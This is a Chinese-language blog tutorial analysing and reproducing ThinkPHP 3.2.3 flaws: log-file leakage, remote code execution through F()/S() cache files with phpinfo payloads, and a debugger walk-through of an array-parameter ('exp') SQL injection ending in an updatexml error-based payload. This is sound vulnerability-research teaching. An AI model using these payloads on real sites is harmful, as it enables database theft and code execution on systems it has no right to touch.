ThinkPHP 3.2.3漏洞分析与复现

PS;推荐开启调试追踪

在config.php加上

‘SHOW_PAGE_TRACE’=>true,

1、信息泄露

日志泄露

得在开启debug的情况下,才会生成日志

日志规律:应用(项目)名/Runtime/Logs/Home/19_01_01.log

tp3.1: Runtime/Logs/Home/19_01_01.log

日志文件命名规律:19_01_01.log

log1.png

攻击者可以从日志中获取敏感信息

缓存信息泄露(危害可升级)

F方法(快速缓存)

阅读文档,我们可以得知,缓存的文件将会在/Runtime/Data/目录下

此时,我们把index控制器里的index方法改为

  1. F('data','<? phpinfo(); ?>');

访问以下主页,即可发现/Runtime/Data/目录下生成了data.php

访问http://localhost/App/Runtime/Data/data.php,即可造成rce

log2.png

S方法(数据缓存,更加安全)

为什么S方法更为安全呢?因为它的名字采用了md5的加密方式;此外,它还可以设置销毁时间,大大提高了安全性

接下来,我们同上,改一下主控制器里的方法

  1. S('name','<? phpinfo(); ?>');

访问一下主页,发现Runtime的Temp文件夹下有php文件生成

我们把php文件名复制下来,放到cmd5中解密
log3.png

发现php文件的命名规律是:md5(参数).php

PS:u1s1,这约等于没加密

但在访问http://localhost/App/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php,你会发现,上面的exp没有用

别急,看一下闭合情况,构造出新的exp

  1. S('name','?><? phpinfo(); ?>');

log4.png

指纹识别

对于这个,我真的没有更多话可以说

多找有特征的静态文件,形成独一无二的风格

2、SQL注入

这个东西真的算的上是老生长谈了

在分析tp3的sql漏洞前,我们先要来熟悉一下tp3数据库的内核操作,攻守有道

数据库内核操作

neihe1.png
重点关注3个函数,M(),where(),find()

我们先如图下两个断点

然后回到浏览器,刷新一下页面,回来调试

(但本人的debug环境有些问题,用一会就会断开连接,截图很难,愿各位师傅见谅)

先来看看M()

neihe2.png

先定义一个名为$_model的数组,再根据冒号分割。但我们传进来的参数值是user,所以进入else分支

neihe3.png
往下给$guid赋值为$name_$class的形式,也就是user_Think\Model

再往下走,$_model[$guid]的值也变成了user_Think\Model

neihe4.png

再来看where()

where.png

而我们得知,传入where的参数属性是array,均不符合前两个if,自动进入下面的if

where1.png
仍然不符合is_string()的条件,再往下跳,跳到else分支,也就是1816行

where2.png
此时,我们开启debug,看看返回值的内容

where的值仍保持不变,而返回值为Think\Model
where3.png
最后再来看看find()
find1.png
我们在find中传入的参数为空

通过debug得知,pk的属性为string,options的属性为array,不符合上述if条件,直接跳转到746行

此处给limit赋值为1,接下来,跟进_parseOptions()函数

find2.png

find3.png
这里用处不大,可以直接跳出

接下来单步步出,跳转到759行,最重要的语句来了

find4.png

单步步入

find5.png
接下来也全部单步步入

最重要的函数是buildSelectSql,步入

find6.png
由于page为空,直接跳入parseSql函数内

find7.png
继续单步步入,步入至parseWhere()函数时停下

find8.png
到达parseWhere函数后,先步入parseKey()内,后步入parseWhereItem()内

find9.png
对username做了一些过滤

find10.png
由于$val值为admin,字符串类型,不符合,故直接跳转else分支

find11.png

进入parseValue()函数
find12.png
注意此处进入第一个if分支,同时经过escapeString函数过滤

find13.png

addslashes()函数的作用是对单引号等敏感字符串进行转义

接下来一路F11,重新返回到select函数,可以观察到,sql语句已拼接完成,同时结果也成功返回

find14.png
最后就是简单的流程处理,返回结果

find15.png

find16.png
最终

find17.png

那如果我们加一个单引号呢?

过滤前
find-gl-1.png
过滤后
find-gl-2.png
最终拼接成的sql语句
find-gl3.png
返回结果也自然是null
find-gl-4.png
从上文我们可以看到,我们传入的参数值为admin,类型为string。而过滤函数是以escapeString命名,同时,在parseWhereItem函数中可以看见,array和string的处理方式是两个分支。那如果传入的参数是array型,是不是就可以绕过访问,恶意拼接sql语句,造成注入了?

我们来试一试,先回到parseWhereItem函数,看一下它对array的处理方式

find-sql1.png

传入了数组,一路debug,最终跳转到了一处报错点

find-sql2.png

为了方便,我把整个源码函数贴出来

  1. protected function parseWhereItem($key,$val) {
  2. $whereStr = '';
  3. if(is_array($val)) {
  4. if(is_string($val[0])) {
  5. $exp = strtolower($val[0]);
  6. if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
  7. $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
  8. }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
  9. if(is_array($val[1])) {
  10. $likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
  11. if(in_array($likeLogic,array('AND','OR','XOR'))){
  12. $like = array();
  13. foreach ($val[1] as $item){
  14. $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
  15. }
  16. $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
  17. }
  18. }else{
  19. $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
  20. }
  21. }elseif('bind' == $exp ){ // 使用表达式
  22. $whereStr .= $key.' = :'.$val[1];
  23. }elseif('exp' == $exp ){ // 使用表达式
  24. $whereStr .= $key.' '.$val[1];
  25. }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
  26. if(isset($val[2]) && 'exp'==$val[2]) {
  27. $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
  28. }else{
  29. if(is_string($val[1])) {
  30. $val[1] = explode(',',$val[1]);
  31. }
  32. $zone = implode(',',$this->parseValue($val[1]));
  33. $whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
  34. }
  35. }elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算
  36. $data = is_string($val[1])? explode(',',$val[1]):$val[1];
  37. $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
  38. }else{
  39. E(L('_EXPRESS_ERROR_').':'.$val[0]);
  40. }
  41. }else {
  42. $count = count($val);
  43. $rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
  44. if(in_array($rule,array('AND','OR','XOR'))) {
  45. $count = $count -1;
  46. }else{
  47. $rule = 'AND';
  48. }
  49. for($i=0;$i<$count;$i++) {
  50. $data = is_array($val[$i])?$val[$i][1]:$val[$i];
  51. if('exp'==strtolower($val[$i][0])) {
  52. $whereStr .= $key.' '.$data.' '.$rule.' ';
  53. }else{
  54. $whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
  55. }
  56. }
  57. $whereStr = '( '.substr($whereStr,0,-4).' )';
  58. }
  59. }else {
  60. //对字符串类型字段采用模糊匹配
  61. $likeFields = $this->config['db_like_fields'];
  62. if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {
  63. $whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
  64. }else {
  65. $whereStr .= $key.' = '.$this->parseValue($val);
  66. }
  67. }
  68. return $whereStr;
  69. }

我们发现,因为第一个数组的参数不符合规定,故跳转到报错位。这里,如果我们把username[0]赋值为exp(也就是用exp表达式),会直接拼接成$whereStr并返回,不用进入parseValue函数进行转义

所以,我们重新跟踪一遍

/?username[0]=exp&username[1]=admin

find-sql3.png
可以看到,最终sql语句变成了

  1. SELECT * FROM `user` WHERE `username` admin LIMIT 1

很明显,因为直接拼接,这条语句不通,页面也就自然而然报错了

find-sql4.png

典型的报错注入,都到这里了,那就很简单了,构造相应的sql语句就可以了

exp:?username[0]=admin&username[1]==’admin’ and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)#

find-sql5.png

持续更新中….